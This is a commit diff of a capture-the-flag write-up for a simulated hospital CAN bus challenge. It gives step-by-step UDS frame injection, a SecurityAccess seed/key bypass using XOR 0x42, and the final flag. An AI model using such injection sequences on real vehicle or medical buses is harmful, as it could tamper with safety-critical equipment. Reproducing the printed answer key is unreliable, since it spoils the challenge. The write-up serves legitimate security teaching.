write-up: Hardware/CAN_Bus_Implant/README.md
This commit is contained in:
parent
067fcae60f
commit
2c6e4358ae
@ -1,12 +1,53 @@
|
|||||||
# CAN Bus Implant — Solution
|
# CAN Bus Implant
|
||||||
|
|
||||||
## Overview
|
| Field | Value |
|
||||||
|
|-------|-------|
|
||||||
|
| Category | Hardware |
|
||||||
|
| Difficulty | Medium-Hard |
|
||||||
|
| Points | 500 |
|
||||||
|
| Author | Eun0us |
|
||||||
|
| CTF | Espilon 2026 |
|
||||||
|
|
||||||
Simulated CAN bus with background traffic and UDS (Unified Diagnostic Services) protocol. Player sniffs traffic to identify patterns, then injects UDS frames to gain security access and read a protected DID.
|
---
|
||||||
|
|
||||||
## Steps
|
## Description
|
||||||
|
|
||||||
1. Open two terminals — one for sniffing, one for injection:
|
The CAN bus of Clinique Sainte-Mika connects medical equipment.
|
||||||
|
A sniffing tap and injection point give you access to the raw bus traffic.
|
||||||
|
|
||||||
|
Analyze the frames, identify the UDS diagnostic protocol in use, and perform
|
||||||
|
a security access sequence to extract classified data.
|
||||||
|
|
||||||
|
- Sniff (read-only): `tcp/<host>:3600`
|
||||||
|
- Inject (write): `tcp/<host>:3601`
|
||||||
|
|
||||||
|
Format: **ESPILON{...}**
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## TL;DR
|
||||||
|
|
||||||
|
Sniff the CAN bus, identify the UDS diagnostic protocol from request/response patterns,
|
||||||
|
enter an extended diagnostic session, perform a SecurityAccess seed/key exchange (XOR key
|
||||||
|
derivation), then read DID 0xFF01 to get the flag.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Tools
|
||||||
|
|
||||||
|
| Tool | Purpose |
|
||||||
|
|------|---------|
|
||||||
|
| `nc` | Connect to sniff and inject ports |
|
||||||
|
| Python 3 | Automated scripting |
|
||||||
|
| Knowledge of UDS (ISO 14229) | Understand the protocol services |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Solution
|
||||||
|
|
||||||
|
### Step 1 — Connect to both ports
|
||||||
|
|
||||||
|
Open two terminals simultaneously:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Terminal 1: Sniff
|
# Terminal 1: Sniff
|
||||||
@ -16,47 +57,87 @@ nc <host> 3600
|
|||||||
nc <host> 3601
|
nc <host> 3601
|
||||||
```
|
```
|
||||||
|
|
||||||
2. Observe traffic on the sniff port. Note the following patterns:
|
> 📸 `[screenshot: two terminal windows showing sniff output and inject prompt]`
|
||||||
- `0x100`: Heartbeat (periodic counter)
|
|
||||||
- `0x200-0x203`: Sensor data (temperature, heart rate)
|
|
||||||
- `0x7DF`: OBD broadcast diagnostic request
|
|
||||||
- `0x7E0` → `0x7E8`: UDS request/response pair (periodic VIN read)
|
|
||||||
|
|
||||||
3. On the inject port, enter extended diagnostic session:
|
### Step 2 — Observe the traffic
|
||||||
|
|
||||||
```
|
Watch the sniff port. The following patterns emerge:
|
||||||
|
|
||||||
|
| CAN ID | Type | Description |
|
||||||
|
|--------|------|-------------|
|
||||||
|
| `0x100` | Heartbeat | Periodic counter |
|
||||||
|
| `0x200`–`0x203` | Sensor data | Temperature, heart rate |
|
||||||
|
| `0x7DF` | Broadcast | OBD diagnostic request |
|
||||||
|
| `0x7E0` → `0x7E8` | UDS pair | Request/response (periodic VIN reads) |
|
||||||
|
|
||||||
|
The `0x7E0`/`0x7E8` pair is the UDS diagnostic channel.
|
||||||
|
|
||||||
|
> 📸 `[screenshot: sniff output showing the 0x7E0/0x7E8 request/response pattern]`
|
||||||
|
|
||||||
|
### Step 3 — Enter extended diagnostic session
|
||||||
|
|
||||||
|
Inject a DiagnosticSessionControl (service 0x10, session 0x03 = extended):
|
||||||
|
|
||||||
|
```text
|
||||||
send 7E0 02 10 03 00 00 00 00 00
|
send 7E0 02 10 03 00 00 00 00 00
|
||||||
```
|
```
|
||||||
|
|
||||||
Response on sniff shows `0x7E8` with positive response `50 03`.
|
The sniff port shows the positive response on `0x7E8`: `50 03`.
|
||||||
|
|
||||||
4. Request a security seed:
|
### Step 4 — Request a security seed
|
||||||
|
|
||||||
```
|
Send SecurityAccess (service 0x27, subfunction 0x01 = request seed):
|
||||||
|
|
||||||
|
```text
|
||||||
send 7E0 02 27 01 00 00 00 00 00
|
send 7E0 02 27 01 00 00 00 00 00
|
||||||
```
|
```
|
||||||
|
|
||||||
Response contains 4-byte seed: `67 01 XX XX XX XX`.
|
The response contains a 4-byte seed: `67 01 XX XX XX XX`
|
||||||
|
|
||||||
5. Compute the key by XORing each seed byte with `0x42`, then send:
|
> 📸 `[screenshot: seed bytes visible in the 0x7E8 response]`
|
||||||
|
|
||||||
|
### Step 5 — Compute the key and authenticate
|
||||||
|
|
||||||
|
The key derivation is XOR of each seed byte with `0x42`:
|
||||||
|
|
||||||
|
```python
|
||||||
|
seed = [0xXX, 0xXX, 0xXX, 0xXX] # from the 0x7E8 response
|
||||||
|
key = [b ^ 0x42 for b in seed]
|
||||||
```
|
```
|
||||||
|
|
||||||
|
Send SecurityAccess (subfunction 0x02 = send key):
|
||||||
|
|
||||||
|
```text
|
||||||
send 7E0 06 27 02 KK KK KK KK 00
|
send 7E0 06 27 02 KK KK KK KK 00
|
||||||
```
|
```
|
||||||
|
|
||||||
Positive response: `67 02`.
|
Positive response: `67 02`
|
||||||
|
|
||||||
6. Read the flag from DID 0xFF01:
|
### Step 6 — Read the flag from DID 0xFF01
|
||||||
|
|
||||||
```
|
Send ReadDataByIdentifier (service 0x22, DID 0xFF01):
|
||||||
|
|
||||||
|
```text
|
||||||
send 7E0 03 22 FF 01 00 00 00 00
|
send 7E0 03 22 FF 01 00 00 00 00
|
||||||
```
|
```
|
||||||
|
|
||||||
Response contains the flag.
|
The response on `0x7E8` contains the flag.
|
||||||
|
|
||||||
## Key Concepts
|
> 📸 `[screenshot: 0x7E8 response containing the flag bytes after successful security access]`
|
||||||
|
|
||||||
- **CAN bus**: Controller Area Network — no authentication, broadcast medium, used in vehicles and medical equipment
|
### Key concepts
|
||||||
- **UDS (ISO 14229)**: Diagnostic protocol with services like DiagnosticSessionControl, SecurityAccess, ReadDataByIdentifier
|
|
||||||
- **SecurityAccess**: Challenge-response authentication — ECU sends seed, tester must compute correct key
|
- **CAN bus**: Controller Area Network — no authentication, broadcast medium, widely used
|
||||||
- **Traffic analysis**: Identifying request/response patterns and protocol types from raw bus traffic
|
in vehicles and medical equipment
|
||||||
|
- **UDS (ISO 14229)**: Diagnostic protocol with services including `DiagnosticSessionControl`
|
||||||
|
(0x10), `SecurityAccess` (0x27), `ReadDataByIdentifier` (0x22)
|
||||||
|
- **SecurityAccess**: Challenge-response authentication — ECU sends seed, tester must compute
|
||||||
|
the correct key. Here the key is trivially `seed XOR 0x42`.
|
||||||
|
- **Traffic analysis**: Identifying request/response patterns from raw CAN bus traffic is the
|
||||||
|
first step in any CAN bus penetration test
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Flag
|
||||||
|
|
||||||
|
`ESPILON{c4n_bus_1mpl4nt_4ct1v3}`
|
||||||
|
|||||||
Loading…
Reference in New Issue
Block a user